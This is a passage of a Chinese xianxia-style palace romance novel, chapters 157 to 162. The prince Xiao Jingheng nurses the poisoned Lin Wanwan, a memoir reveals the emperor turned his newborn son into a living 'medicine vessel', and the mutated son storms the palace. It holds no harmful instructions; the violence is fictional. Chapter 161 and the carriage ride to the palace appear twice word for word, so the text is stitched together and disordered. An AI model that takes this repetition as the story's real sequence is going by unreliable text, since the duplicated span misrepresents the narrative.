是需要人命来活祭!
他布满血丝的眼睛,转向殿外,那方向赫然是冷宫!
没关系,皇宫里最不缺的就是人命!
“哈哈…天不绝我萧胤…”
皇帝似乎是重新看到生的希望,枯瘦的手掌拍着龙榻,发出狂笑。
养心殿内,如同地狱恶鬼挣脱枷锁的嘶鸣,穿透厚厚的殿门,在死寂的皇城中回荡,惊起栖鸟无数。
第157章 圣女苏醒
血鸦阁据点,温泉静室内。
氤氲的水汽如同温柔的纱幔,将池中相拥的二人笼罩。
萧景珩一次又一次轻轻调整自己的姿势,只为了让林绾绾能更舒适地躺在自己的臂弯里。
萧景珩眼眸深处翻涌的情潮与后怕尚未完全平息,却沉淀为一种更深沉、更执拗的守护。
林绾绾灰败的脸色中,那抹因激烈亲吻而晕开的极淡绯红早已褪去。
呼吸已经平稳悠长了许多,不再是随时会断绝的游丝。
心口绷带下,那顽固的毒素在玄冥寒气与玉佩能量的持续压制下,如同被囚禁的凶兽,暂时蛰伏。
双生火焰印记传来的微弱共鸣,成为这黑暗中的唯一灯塔。
萧景珩的目光片刻不离地锁在林绾绾的脸上。
他的指腹带着无尽的眷恋,将几缕粘在林绾绾颊边的乌发拢在了耳后。
动作轻柔而虔诚。
“疼…”
一声微弱到几乎听不见的呢喃,自林绾绾苍白的唇间逸出。
她依旧双目紧闭,长长的睫毛在眼睑下投下脆弱的阴影,仿佛刚才那一声只是无意识的梦呓。
但萧景珩却如同听到了天籁!
巨大的狂喜冲击着他的心脏。
绾绾这是能感受到身体的痛觉了!
这是意识在缓慢复苏的迹象!
就在这时!
一只冰冷而软绵无力的手,带着极其微弱的力量,轻轻地搭在了萧景珩的手腕边缘处——
那里是萧景珩割腕渡血的地方!
伤口因为持续动作和温水的浸泡,边缘微微发白。
虽已止血,但翻卷的皮肉看着依旧有些狰狞。
萧景珩身体猛地僵住,如同被最强烈的电流击中。
他难以置信地低下头。
只见林绾绾依旧紧闭着双眼,眉头却痛苦地紧蹙着,仿佛在昏迷中也被某种不安攫住。
她的指尖带着一种无意识的颤抖,如同羽毛拂过般极其轻微地触碰着萧景珩手腕的伤口。
那动作充满了心疼。
她感觉到了!
即使意识沉沦在黑暗深渊,她依然能感受到爱人的伤痛。
一股难以言喻的酸涩暖流,瞬间冲垮了萧景珩的所有防线,直抵灵魂深处。
这无声的触碰,比千言万语更让他心痛,也更让他心醉。
“傻绾绾…”
萧景珩喉咙发紧,声音破碎嘶哑,带着浓重的鼻音。
他小心翼翼地反手,用自己宽厚温热的手掌包裹住林绾绾那只冰冷无力的手,将她微凉的指尖轻轻握在自己的掌心。
“你放心,我不疼…一点都不疼…”
萧景珩低下头,滚烫的唇印在林绾绾冰冷的手背上,落下一个个轻柔而滚烫的吻,如同是最郑重的誓言。
“只要能救你,这点伤算什么,就算是剜心剔骨,我也甘之如饴。”
他将林绾绾的手轻轻按在自己剧烈跳动的心口,让她感受那为她而狂跳的节奏。
那里,同样火焰印记的地方,正隔着衣衫与绷带与她的印记,产生微弱而坚定的共鸣。
“你一定要快点醒过来…求你…”
萧景珩心中满是痛苦。
一股尖锐的酸涩和憋闷感再次涌上心头,抑制不住的悲伤从他心口处缓缓蔓延,似乎势要将整个静室填满。
仿佛是感受到了萧景珩的爱意与不舍。
林绾绾长长的睫毛如同蝶翼般剧烈颤抖起来,似乎拼命在与沉重的眼皮抗争。
几番挣扎下来,那双紧闭了不知多久的眼帘,终于极其缓慢地、艰难地掀开了一条缝隙。
这一次,不再是涣散无神的目光!
那双眼眸,如同被水洗过的墨玉,虽然依旧带着大病初愈的虚弱和迷茫,但却终于有了焦距!
林绾绾的目光有些茫然地扫过静室内模糊的轮廓,最终带着一丝不确定和极度的疲惫,缓缓落在了近在咫尺的、那张刻入灵魂深处的俊美脸庞上。
四目相对,时间仿佛在这一刻凝固。
萧景珩的心脏骤然停止了跳动,巨大的狂喜如同海啸般瞬间淹没了他。
所有的疲惫,所有的担忧,在这一刻烟消云散。
他赤红的眼眸中,爆发出足以照亮整个黑夜的璀璨的光
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芒!
“绾..绾绾…”
萧景珩的声音带着难以置信的狂喜,沙哑得不成样子,“你醒了?真的醒了?”
林绾绾的嘴唇极其轻微地翕动了一下,似乎想说什么,却发不出声音。
长时间的昏迷和毒素侵蚀,让她的身体虚弱到了极致。
但她那双墨玉般的眼眸,却清晰地到映照着萧景珩的身影。
里面充满了劫后余生的恍惚、刻骨的依恋,以及…浓得化不开的心疼。
她的目光缓缓下移,落在萧景珩紧握玉佩的手腕上——
那道翻卷的伤口,在温泉水汽的浸润下,如此刺目。
一滴晶莹的泪,毫无征兆地从她眼角滑落,混入氤氲的水汽中。
泪水无声,却重逾千斤。
萧景珩读懂了那滴眼泪的含义。
所有的坚强在这一刻土崩瓦解。
他猛地低下头,滚烫的唇带着失而复得的狂喜和无尽的心疼,深深地吻上了林绾绾苍白冰凉的唇瓣。
这一次,不再是绝望的烙印,而是倾注了所有思念,所有爱恋,所有誓言的倾诉。
“唔…”
林绾绾发出一声微弱的嘤咛。
她的身体虽然在萧景珩强势而温柔的掠夺下微微颤抖,但却没有丝毫抗拒。
她极其虚弱却又无比坚定地环住了萧景珩的脖颈,指尖深深陷入了他湿透的墨发之中。
唇齿交缠,气息相融。
所有的言语都显得苍白。
温泉水的暖意包裹着他们,玉佩的金光温柔地流转。
双生火焰的印记在紧贴的心口处,发出坚定的共鸣温热,如同两颗历经劫难终于重逢的星辰,在黑暗中无声地宣告着彼此的归属。
虽然血海深仇未报,皇帝的反扑如同悬顶利剑。
但这一刻,在劫后余生的静谧里,在彼此交融的气息中,他们眼中和心中只有对方。
静室外,夜色如墨,暗涌已起。
静室内,相拥的两人在水汽与金光中沉沉睡去,交颈而眠。
如同暴风雨中相互依偎的孤舟,暂时隔绝了外界的惊涛骇浪。
第158章 冷宫噬命
养心殿内,地狱般的景象仍在继续。
皇帝萧胤的惨嚎渐渐变成了断断续续的,如同破风箱般的嗬嗬声。
他的身体不再剧烈挣扎,只是间歇性地抽搐着。
脸上的紫黑色纹路似乎停止了蔓延,但颜色却变得更加深暗,如同烙印在皮肤上的丑陋图腾。
皮肤表面开始出现大片大片诡异的青紫色瘀斑。
有些地方甚至开始溃烂,渗出黄绿色的脓液,散发着令人作呕的恶臭。
萧胤浑浊的眼睛半睁着,瞳孔涣散,只有偶尔闪过的怨毒和疯狂,证明他还活着。
高德胜和几个胆大的太监强忍着恐惧,用厚厚的棉布裹着手,小心翼翼地为萧胤擦拭着不断渗出的脓血,更换被污秽浸透的被褥和寝衣。
每一次触碰,都引来萧胤一阵无意识的抽搐和嗬嗬声。
“噬…噬元补身…”
几个破碎的字从他嘴里吐出,眼中是彻底的疯狂和不顾一切的光芒。
“高德胜,你去冷宫…”
皇帝将高德胜叫到跟前,小声地吩咐道。
高德胜听完,瞬间明白了皇帝的用意。
他身体剧烈颤抖起来,眼中充满了恐惧和挣扎。
冷宫…那里关押着的都是被皇帝厌弃、或者犯了重罪的妃嫔或宫人。
陛下打算用活人,做药引了!
“陛…陛下…这…”
高得胜想说点什么。
“去…!”皇帝萧胤用尽最后的力气嘶吼,一口黑血再次喷出。
高德胜看着龙榻上人不人鬼不鬼,却依旧散发着恐怖威压的帝王。
最终,所有的恐惧化作了对权力的屈服和自保的决断。
他猛地一咬牙,脸上闪过一丝狠厉,尖声对殿外喝道:“来人!奉陛下旨意,即刻封锁冷宫!任何人不得出入!违令者,格杀勿论!”
******
天光微熹时分,温泉静室内。
萧景珩紧拥着林绾绾,两人交颈而眠。
即使是沉睡中,萧景珩仍一手稳稳护在林绾绾的后心,持续不断渡入寒气,另一只手则与她十指相扣,将那枚温润的金昙同心佩包裹在两人紧贴的掌心之间。
玉佩的光芒柔和而稳定,如同呼吸般明灭,丝丝缕缕的生命能量缓慢滋养着林绾绾破碎的心脉,也反哺着萧景珩略显枯竭的经脉。
静室的门被极轻地叩响。
萧景珩的双眼倏然睁开,眼眸中没有丝毫刚醒的迷茫,只有鹰隼般的锐利和警惕。
他先是立刻低头查看怀中的林绾绾,见她依旧沉睡,呼吸平稳,心口处的毒素也被牢牢压制,这才稍稍放松。
他小心翼翼地将手臂从林绾绾颈下抽出,动作轻柔得像是在挪动易碎的琉璃。
又为林绾绾掖好滑落的软巾,这才无声无息地走出温泉池,披上一件墨色寝衣,走向门口。
门外是寒鸦。
他脸色凝重,手中拿着一封密封的、带着血鸦阁独特暗纹的密信。
“阁主,皇城急报。”寒鸦的声音压得极低。
萧景珩接过密信,指尖略微用力,封口的火漆悄然碎裂。
他迅速展开信纸,目光扫过上面密密麻麻的小字,眼底寒芒骤现。
“果然…狗急跳墙了。”
萧景珩冷哼出声,声音低沉如冰。
信上详细禀报了养心殿昨夜发生的可怖景象,以及最终高德胜奉命带人封锁冷宫的整个过程。
“噬元补身...”
萧景珩咀嚼着这四个充满血腥味的字眼,嘴角勾起一抹残忍的弧度。
“我的好父皇,你可真是自寻死路!”
这种最邪恶的禁法,先不说早已失传,炼制过程也是凶险万分。
皇帝如今的身体已是**之末,竟还敢用这等邪术,简直是嫌自己死得不够快。
“阁主,我们是否要阻止?”
寒鸦眼中闪过厉色。
冷宫中虽然多是罪妇或失宠宫人,但亦是性命。
“阻止?”
萧景珩眼底闪过一丝算计的寒芒,“为何要阻止?他既然要作死,孤便成全他。传令下去,在今夜之内,将冷宫妇人全部用死囚牢内患有重病的死囚犯替代。”
“但,务必要盯紧!后面每一个被带进
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去的人,每一样进出的东西,都给孤查得清清楚楚!”
“是!”
寒鸦立刻领命,却又迟疑了一下。
“若…陛下真的成…”
“他不会成功的!”
萧景珩语气斩钉截铁,带着一种洞悉一切的漠然。
“邪术终究是邪术。更何况他用过了孤精心准备的药材。他现在每用一次邪法,都只会是加速自己的灭亡。”
“孤倒是迫不及待想看看,这‘噬元补身’,最后会补出一个什么怪物来!”
他就是要将计就计,让皇帝在自毁的道路上狂奔。
同时,收集所有的罪证,最终在天下人面前,将皇帝彻底钉死在罪恶的耻辱柱上!
“另外,”萧景珩补充道,目光扫向静室内,“加强山庄这边的戒备,尤其是圣女这边,绝不能有任何闪失。赫连灼那边…也盯着点。”
提到赫连灼,萧景珩的语气里依旧带着一丝冷意和醋意。
寒鸦心领神会:“属下明白!狼主忙完别苑的事之后,便一直在西苑练刀,未曾去过别处。”
萧景珩冷哼一声,不再多言,挥手让寒鸦退下。
他转身回到静室内,周身肃杀之气瞬间收敛,化为无尽的担忧与温柔。
萧景珩重新滑入温泉池中,将因为他的离开而微微蹙眉、无意识向他靠拢的林绾绾再次拥入怀中。
林绾绾的身体依旧冰冷,但比起昨日那彻骨的寒意,已多了一丝微弱的暖意。
“唔…”
或许是被萧景珩身上的寒气惊扰,林绾绾发出一声细微的嘤咛,长长的睫毛颤抖了几下,竟然缓缓睁开了眼睛。
这一次,她的眼神不再是昨日的迷茫空洞。
虽然依旧带着重伤后的虚弱和疲惫,却有了清明的底色。
如同被雨水洗过的墨玉,清晰地倒映出萧景珩担忧的脸庞。
“景…珩…”
林绾绾开口,声音嘶哑干涩得厉害,如同砂纸摩擦,每个字都耗费极大的力气。
“我在!我一直都在。”
萧景珩立刻回应,狂喜瞬间淹没了他。
第160章 血色宫闱
温泉静室内。
林绾绾仰起脸,看着萧景珩紧绷的下颌线和深邃眼眸中翻涌起的暗潮,轻声问:“你怀疑冷宫那个‘人’?”
“嗯。”萧景珩低头,吻了吻林绾绾的眉心,“有些真相,是时候彻底揭开了。所有加诸在你我身上的痛苦和阴谋,都要让他们百倍偿还!”
萧景珩语气中的冰冷杀意让林绾绾微微一颤,却更紧地依偎进他怀里。
他们早已是彼此最坚实的依靠,注定要共同踏破这血海深渊。
闻讯听说林绾绾苏醒过来的赫连灼,急匆匆赶来,在门外看着门内的温存,选择静悄悄地离开。
天色渐暗,风雨欲来。
棋盘之上,最后的棋子正在落下。
暗夜终将过去,黎明前的黑暗,往往最为冰冷残酷。
而真相与复仇的火焰,已在黑暗中悄然点燃。
经过几天调整,林绾绾的毒素已经被完全控制,身体不再像之前那么虚弱。
萧景珩扶着林绾绾第一次踏出温泉静室,走向外面的风光。
天气正好,阳光温柔地洒在两个人身上。
林绾绾靠在萧景珩坚实温暖的胸膛上,能清晰听到萧景珩沉稳有力的心跳。
“感觉怎么样?”
萧景珩低头,下颌轻轻蹭着林绾绾的发顶,温柔的声音中透着一丝不易察觉的紧绷。
他时刻关注着林绾绾细微的变化,生怕有什么闪失。
林绾绾动了动指尖,回握住萧景珩的手,声音清晰:“我真的没事了。”
她感受着心口处那被玉佩金光和玄冥寒气共同束缚住的混合毒素。
它们不再狂暴肆虐,反而像是被驯服的凶兽,静静蛰伏着。
甚至隐隐被玉佩的力量一丝丝地转化、消融。
虽然速度极慢,但那感觉却真切存在。
萧景珩将林绾绾更紧地拥入怀中。
“等这一切都结束,我就带你去江南,去看你最喜欢的金丝昙花开遍山野,再无纷扰。”
“嗯。”
林绾绾依偎在萧景珩怀中,唇角也勾起一抹憧憬的笑意。仿佛血腥的阴谋与算计已经暂时远去,只剩下劫后余生的温存。
然而,宁静总是短暂的。
寒鸦的声音带着压抑的激动和凝重传来。
“阁主,渊阁密报!有重大发现!”
萧景珩的眼神瞬间恢复锐利,小心将林绾绾安置好。
林绾绾的目光追随着萧景珩挺拔却难掩疲惫的背影,心中暖意与忧思交织。
寒鸦递上一封比以往更厚重的密函,低声道:“我们的人几乎翻遍了皇城所有尘封秘档,甚至还潜入了几处已经荒废的墓区,终于找到了当年曾经伺候过宸妃娘娘的一位贴身嬷嬷的远亲后代,拿到了嬷嬷临终前留下的一份**手札!”
萧景珩迅速拆开密函,里面是数张泛黄发脆的纸张,字迹呈暗褐色,潦草而仓促,字里却行间充满了恐惧与不甘。
萧景珩只是看了几行,周身的气息瞬间降至冰点,捏着纸张的手指因用力而骨节泛白,手指青筋暴起。
赤红的眼眸中,翻涌起滔天巨浪般的震惊、骇然,以及毁灭一切的暴怒。
林绾绾在一旁看得心惊,忍不住轻声问:“景珩,怎么了?”
萧景珩将手中的几张纸递给林绾绾,声音中的每一个字都带着刻骨的恨意。
“你看…这就是皇家!这就是我的好父皇!好祖母!”
林绾绾接过纸张,迅速浏览起来,越是往下看,她的眼中充满了难以置信的震惊与愤怒。
**书札来自一位名叫“苏茉”的嬷嬷,她目睹了所有惨剧的全过程。
手札上记载:
“宸妃娘娘怀胎七月时,便已诊出极为罕见的双生之象,且胎像极稳,龙胎强健。陛下与娘娘喜不自胜。”
“然而,太后却异常担忧,多次以‘双生子乃不祥之兆,于国运有碍’为由,劝说陛下早做决断,甚至暗示去子留母。”
“陛下虽未应允,但态度暧昧。”
“娘娘生产那日,雷雨交加。娘娘艰难产下的第一位皇子,哭声洪亮,肩颈处有一枚形似火焰的红色胎记。”
“产婆刚将皇子抱
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起准备清洗,太后竟亲自带着心腹太医和嬷嬷闯入产房!以‘陛下有旨,此胎不祥,需行秘法镇之’为由,强行将刚刚落地的皇长子夺走。”
“娘娘拼死阻拦,哭求不止,却被太后的人强行按住灌下昏睡汤药。”
“太后将长皇子交给一个浑身笼罩在黑袍里的婆子。”
“那婆子用一种诡异的药水涂抹皇子全身,尤其是那枚火焰印记在接触药水后瞬间变得暗红发黑。”
“随后,她竟用金针渡入一种黑色虫子进入皇子心脏!皇子的哭声瞬间变得微弱嘶哑,浑身泛起青黑之气。”
“太后见状,只是冷漠看着,随后说,’从此他便是个药引,你养着吧,待到来日陛下需要之日,便是他尽忠之时。’。”
“而就在这时,娘娘竟被剧痛惊醒,提前发动,产下了第二位皇子。”
“第二位皇子肩颈处,竟有一枚一模一样、却鲜红欲滴的火焰胎记!”
“太后见状大惊失色,竟命人要将二皇子也一并处理。”
“而隔壁却传来皇帝的声音,他说凡事要留一线,一下失去全部皇子,会让朝臣对他这个掌权者失去信心。”
“太后这才勉强罢手,却命人将二皇子立即抱离娘娘身边,交由自己心腹的乳母秘密看管,对外也只是宣称宸妃产下一子,皇子体弱多病,需静养。”
“娘娘醒来,得知长子被夺,次子被分离,悲痛欲绝,身体每况愈下。”
“一日,太后送来一盆金丝昙花,说是对产妇恢复身体有益。”
“然而娘娘自从得到此花,身体更是越来越虚弱。而皇帝也是再未踏进娘娘屋子一步。”
“没几日,娘娘就在屋内暴毙,死时七窍流血。”
“临去前,娘娘遭受了极致的痛苦,她死死攥着我的手,眼角泣血,诅咒太后与陛下不得好死,永世不得超生。”
“娘娘死后,我侥幸逃过皇帝和太后灭口,隐姓埋名,终其一生都活在恐惧与愧疚中。”
“留下这份**,期盼有朝一日真相能大白于天下!”
第161章 真相灼心
真相!
血淋淋的,令人发指的真相。
太后表面上看是为了“双生子不祥”的预言,其实就是为了皇帝的长生在铺平道路。
而皇帝更是为了长久地居于皇位之上,竟然与蛊婆婆合谋,将自己亲子制成“药引”,更是纵容太后害死宸妃!
皇帝不仅一直在背后默默推进这些阴谋,更是将自己两个亲子的价值利用到了极致。
“畜生!一群畜生!”
林绾绾气得浑身发抖,眼泪汹涌而出。
不是因为害怕,而是因为极致的愤怒与心痛。
她终于明白了!
难怪身为太子的萧景珩,他的童年会过得那么苦,就算寒毒发作,周围的人为何也都漠然以对。
为何皇帝对萧景珩既倚重又忌惮,一次次想置他于死地。
因为萧景珩本身就是皇帝罪行的活证!
皇帝既要他的血和力量来为自己的长生铺路,又恐惧他体内的力量会在哪天不能为自己所用!
萧景珩一拳砸在门口的青石上。
坚硬的青石瞬间裂开蛛网般的纹路。
他的指节鲜血淋漓,却浑然不觉疼痛。
赤红的眼眸中仿佛有血色风暴在凝聚。
“萧!胤!”
萧景珩一字一顿,声音从齿缝中挤出,带着刻骨的寒意与杀机,“还有那个毒妇!我要你们...血债血偿。”
就在这时,另一名血鸦卫出现,声音带着紧张:“阁主,冷宫急报!”
“那个被锁着的‘药人’,突然狂性大发,撕裂了铁链,重伤了皇帝和高德胜,此刻正往养心殿的方向冲去了!”
“沿途的侍卫死伤惨重,根本拦不住。”
萧景珩与林绾绾对视一眼,眼中同时闪过厉色。
“备车!”
萧景珩毫不犹豫地下令,声音斩钉截铁。
“通知赫连灼,皇宫有好戏看了。让他带上他的狼山卫,跟我一起去皇宫‘护卫’圣驾!”
随后,萧景珩转身低头,在林绾绾苍白的嘴唇上印下一个短暂却无比坚定的吻。
“等了这么多年,成败就在此刻!绾绾,你留在山庄...”
“不!”
林绾绾打断他,眼神同样坚定决绝。
她身体虽然虚弱,眼底却闪烁着智慧与冷静的光芒。
“我必须去!我的九转玲珑针还有《天医策》,或许是控制甚至救回你兄长的唯一希望!”
“我能照顾好我自己,别把我当成累赘。”
看着林绾绾眼中不容置疑的光芒,萧景珩知道自己无法拒绝。
他了解眼前的人,正如对方也了解自己一般。
他们不仅是生死与共的爱人,更是并肩作战的盟友!
“好!”
萧景珩沉声道,将她打横抱起,“但我们约法三章,绝不逞强,一切以你自身安危为重。”
“成交!”
林绾绾将头靠在萧景珩的肩头,感受着他强有力的心跳和怀抱,心中充满了与他共同面对一切的勇气。
马车火速备好,疾驰出山庄,朝着皇城方向狂奔而去。
车内,萧景珩仔细地为林绾绾穿戴好繁复的衣裙,外面罩上一件厚实的狐裘披风。
他动作熟练而自然,仿佛做过千百遍般。
萧景珩拿起梳子,为林绾绾梳理这些日子没有打理过却依旧柔软如缎的长发,动作轻柔得不可思议,眼神专注而深情。
两人目光交汇,空气中弥漫着无声的温情与默契。
“等事情了了,我日日为你绾发。”
萧景珩低声道,声音里满是承诺。
“好。”
林绾绾闭上眼,感受着发丝穿过萧景珩的指尖的触感,唇角含笑。
然而,温馨的时刻很快被打破。
马车临近皇城,已能听到远处传来的隐约的喧嚣和兵刃交击之声!
甚至能感受到地面传来的轻微震动。
萧景珩掀开车帘一角,只见皇城方向火光隐隐。
喊杀声,惊恐的尖叫声不绝于耳。
混乱已然开始。
“再快些!”萧景珩冷声催促车夫。
马车冲破夜色,如同利箭般射向那一片混乱的宫阙。
宫门处的守卫早已乱作一团,试图阻拦的护卫也被血鸦阁暗卫暗中清除。
马车一路畅通无阻,直
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冲养心殿方向。
越靠近养心殿,混乱越是惨烈。
随处可见倒地身亡的侍卫尸体,宫墙之上布满巨大的爪痕和撞击的凹坑,仿佛有什么庞然巨物一路碾压而过。
终于,在距离养心殿不足百丈的宫道上,他们看到了那恐怖的景象——
一个浑身覆盖着黑红污垢,皮肤青黑的“人”,正发出困兽般的痛苦咆哮,疯狂地撞击着养心殿外围的最后一道侍卫防线。
他身上缠绕着的半截崩断的粗黑铁链,随着他的动作哗啦作响。
这个“人”身上还弥漫着浓郁的墨绿色毒气和血腥味,所过之处,草木皆枯。
养心殿殿门之上,皇帝萧胤被几个太监搀扶着。
他比几日前更加枯槁可怖。
整个人几乎只剩下一层皮包着骨头,脸上的紫黑色脉络如同蛛网般密布。
眼窝深陷,手臂跟背部还有一些明显的伤口。
身上处处散发着浓郁的丹药味和**气息。
显然那“噬元补身”的邪术让皇帝付出了惨重的代价。
“拦住他!给朕拦住这个怪物!无论生死!”
萧胤声音嘶哑尖厉,指着下方横冲直撞的“人”,浑身颤抖着。
那“人”好像对萧胤有着天然的仇恨,每一次冲击都直奔着他而去。
“陛下,他...他可是...您的...儿...”
高德胜瘫软在旁边,颤巍巍地指向那“人”锁骨处偶尔闪过的暗红胎记。
“闭嘴!”
萧胤一个巴掌扇过去,神情疯狂,“朕有的是儿子,他只是朕的‘药引’!是失败的‘药引’!杀了他!快!”
更多的侍卫冲上去。
刀剑砍在那个“人”身上,却只能发出金铁交击之声。
除了留下浅浅的白痕,根本无法造成实质性伤害。
反而被那“人”随手一挥,便筋断骨折,倒飞出去。
混乱中,萧景珩的马车稳稳停下。
他率先下车,身后紧跟着林绾绾。
二人皆身姿挺拔如松,面容冰冷如霜,眼神最终毫无温度地定格在殿门口形销骨立的皇帝身上。
第161章 真相灼心
真相!
血淋淋的,令人发指的真相。
太后表面上看是为了“双生子不祥”的预言,其实就是为了皇帝的长生在铺平道路。
而皇帝更是为了长久地居于皇位之上,竟然与蛊婆婆合谋,将自己亲子制成“药引”,更是纵容太后害死宸妃!
皇帝不仅一直在背后默默推进这些阴谋,更是将自己两个亲子的价值利用到了极致。
“畜生!一群畜生!”
林绾绾气得浑身发抖,眼泪汹涌而出。
不是因为害怕,而是因为极致的愤怒与心痛。
她终于明白了!
难怪身为太子的萧景珩,他的童年会过得那么苦,就算寒毒发作,周围的人为何也都漠然以对。
为何皇帝对萧景珩既倚重又忌惮,一次次想置他于死地。
因为萧景珩本身就是皇帝罪行的活证!
皇帝既要他的血和力量来为自己的长生铺路,又恐惧他体内的力量会在哪天不能为自己所用!
萧景珩一拳砸在门口的青石上。
坚硬的青石瞬间裂开蛛网般的纹路。
他的指节鲜血淋漓,却浑然不觉疼痛。
赤红的眼眸中仿佛有血色风暴在凝聚。
“萧!胤!”
萧景珩一字一顿,声音从齿缝中挤出,带着刻骨的寒意与杀机,“还有那个毒妇!我要你们...血债血偿。”
就在这时,另一名血鸦卫出现,声音带着紧张:“阁主,冷宫急报!”
“那个被锁着的‘药人’,突然狂性大发,撕裂了铁链,重伤了皇帝和高德胜,此刻正往养心殿的方向冲去了!”
“沿途的侍卫死伤惨重,根本拦不住。”
萧景珩与林绾绾对视一眼,眼中同时闪过厉色。
“备车!”
萧景珩毫不犹豫地下令,声音斩钉截铁。
“通知赫连灼,皇宫有好戏看了。让他带上他的狼山卫,跟我一起去皇宫‘护卫’圣驾!”
随后,萧景珩转身低头,在林绾绾苍白的嘴唇上印下一个短暂却无比坚定的吻。
“等了这么多年,成败就在此刻!绾绾,你留在山庄...”
“不!”
林绾绾打断他,眼神同样坚定决绝。
她身体虽然虚弱,眼底却闪烁着智慧与冷静的光芒。
“我必须去!我的九转玲珑针还有《天医策》,或许是控制甚至救回你兄长的唯一希望!”
“我能照顾好我自己,别把我当成累赘。”
看着林绾绾眼中不容置疑的光芒,萧景珩知道自己无法拒绝。
他了解眼前的人,正如对方也了解自己一般。
他们不仅是生死与共的爱人,更是并肩作战的盟友!
“好!”
萧景珩沉声道,将她打横抱起,“但我们约法三章,绝不逞强,一切以你自身安危为重。”
“成交!”
林绾绾将头靠在萧景珩的肩头,感受着他强有力的心跳和怀抱,心中充满了与他共同面对一切的勇气。
马车火速备好,疾驰出山庄,朝着皇城方向狂奔而去。
车内,萧景珩仔细地为林绾绾穿戴好繁复的衣裙,外面罩上一件厚实的狐裘披风。
他动作熟练而自然,仿佛做过千百遍般。
萧景珩拿起梳子,为林绾绾梳理这些日子没有打理过却依旧柔软如缎的长发,动作轻柔得不可思议,眼神专注而深情。
两人目光交汇,空气中弥漫着无声的温情与默契。
“等事情了了,我日日为你绾发。”
萧景珩低声道,声音里满是承诺。
“好。”
林绾绾闭上眼,感受着发丝穿过萧景珩的指尖的触感,唇角含笑。
然而,温馨的时刻很快被打破。
马车临近皇城,已能听到远处传来的隐约的喧嚣和兵刃交击之声!
甚至能感受到地面传来的轻微震动。
萧景珩掀开车帘一角,只见皇城方向火光隐隐。
喊杀声,惊恐的尖叫声不绝于耳。
混乱已然开始。
“再快些!”萧景珩冷声催促车夫。
马车冲破夜色,如同利箭般射向那一片混乱的宫阙。
宫门处的守卫早已乱作一团,试图阻拦的护卫也被血鸦阁暗卫暗中清除。
马车一路畅通无阻,直
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冲养心殿方向。
越靠近养心殿,混乱越是惨烈。
随处可见倒地身亡的侍卫尸体,宫墙之上布满巨大的爪痕和撞击的凹坑,仿佛有什么庞然巨物一路碾压而过。
终于,在距离养心殿不足百丈的宫道上,他们看到了那恐怖的景象——
一个浑身覆盖着黑红污垢,皮肤青黑的“人”,正发出困兽般的痛苦咆哮,疯狂地撞击着养心殿外围的最后一道侍卫防线。
他身上缠绕着的半截崩断的粗黑铁链,随着他的动作哗啦作响。
这个“人”身上还弥漫着浓郁的墨绿色毒气和血腥味,所过之处,草木皆枯。
养心殿殿门之上,皇帝萧胤被几个太监搀扶着。
他比几日前更加枯槁可怖。
整个人几乎只剩下一层皮包着骨头,脸上的紫黑色脉络如同蛛网般密布。
眼窝深陷,手臂跟背部还有一些明显的伤口。
身上处处散发着浓郁的丹药味和**气息。
显然那“噬元补身”的邪术让皇帝付出了惨重的代价。
“拦住他!给朕拦住这个怪物!无论生死!”
萧胤声音嘶哑尖厉,指着下方横冲直撞的“人”,浑身颤抖着。
那“人”好像对萧胤有着天然的仇恨,每一次冲击都直奔着他而去。
“陛下,他...他可是...您的...儿...”
高德胜瘫软在旁边,颤巍巍地指向那“人”锁骨处偶尔闪过的暗红胎记。
“闭嘴!”
萧胤一个巴掌扇过去,神情疯狂,“朕有的是儿子,他只是朕的‘药引’!是失败的‘药引’!杀了他!快!”
更多的侍卫冲上去。
刀剑砍在那个“人”身上,却只能发出金铁交击之声。
除了留下浅浅的白痕,根本无法造成实质性伤害。
反而被那“人”随手一挥,便筋断骨折,倒飞出去。
混乱中,萧景珩的马车稳稳停下。
他率先下车,身后紧跟着林绾绾。
二人皆身姿挺拔如松,面容冰冷如霜,眼神最终毫无温度地定格在殿门口形销骨立的皇帝身上。
第162章 最后审判
萧景珩跟林绾绾的出现,瞬间吸引了全场的目光!
“是太子跟圣女!”
混乱的侍卫们如同看到了主心骨,纷纷惊呼。
殿门上的萧胤看到萧景珩,尤其是看到他身边虽然虚弱却明显活着的林绾绾,眼中瞬间爆发出极致的怨毒和不可置信。
“你...你们竟然都没死!”
萧景珩无视萧胤的咆哮,目光冰冷地掠过他,最终落在那个仍在疯狂攻击的怪“人”身上。
看着那“人”身上与他同样的火焰印记,心脏如同被一只无形的手狠狠攥住,痛彻心扉。
萧景珩缓缓抬起手。
瞬间,四周的宫墙屋脊之上,无声无息地出现了无数道黑色的身影,如同暗夜的幽灵。
他们手中的劲**在火光下闪烁着冰冷的寒光。
这些都是血鸦阁的精锐,他们早已潜伏就位。
与此同时,宫道另一端传来沉重的脚步声和甲胄碰撞的声音。
赫连灼率领着彪悍的狼山卫,如同一股金色的洪流,疾奔而来,瞬间控住住了另一侧的甬道,将养心殿彻底包围。
赫连灼朝着萧景珩的方向坚定地点了点头,眼神最后落在那个疯狂的“人”身上,眉头紧锁。
三方势力,在这血腥的夜晚,于养心殿前,形成了最终的对峙。
“萧景珩!你想干什么?你这是想逼宫弑父吗?”
萧胤惊怒交加,声音尖厉地指控。
萧景珩终于将目光转向皇帝,那目光冰冷,带着无尽的嘲讽与恨意。
“逼宫?弑父?萧胤,你这个用亲子来炼制邪蛊,妄图长生的恶鬼,也配称‘父’?”
他的声音不高,却清晰地传遍了在场每一个人的耳中,如同惊雷炸响!
亲子炼蛊?妄图长生?
这些指控如同重锤,狠狠砸在所有人的心上。
皇宫内的侍卫们,脸上充满了震惊与恐惧!
“逆子,你...你胡说八道!朕是天子!朕...”
萧胤气得浑身发抖,试图反驳。
“是吗?”
萧景珩冷笑一下,从怀中掏出那份苏嬷嬷的**手札,内力灌注,声音如同寒冰滚过全场。
“那你看清楚,这是我母妃当年贴身嬷嬷,用性命留下的**!上面清清楚楚记载了你和太后那毒妇是如何残害我刚出生的兄长,将他炼成药引!”
“还有,太后如何弄死我母妃。连我差点都未能幸免。”
**的内容被萧景珩以内力朗声读出,字字泣血,句句惊心!
将当年那桩肮脏、血腥、违背人伦的宫廷秘闻彻底暴露在光天化日之下。
全场死寂。
只剩下那个怪物痛苦的咆哮和火把燃烧的噼啪声。
闻讯赶来的文武百官及在场的所有侍卫都惊呆了,难以置信地看向殿门外的皇帝。
此时的皇帝,在他们眼中如同恶鬼一般。
“不!那是伪造的!是诬陷!”
瞧着众臣置疑的眼神,萧胤彻底慌了,歇斯底里的嘶吼。
“影殿的人何在?给朕杀了这个逆子!谁能取得他的首级,朕封他万户侯!”
任他呼喊了半天,影殿的人都没有回应。
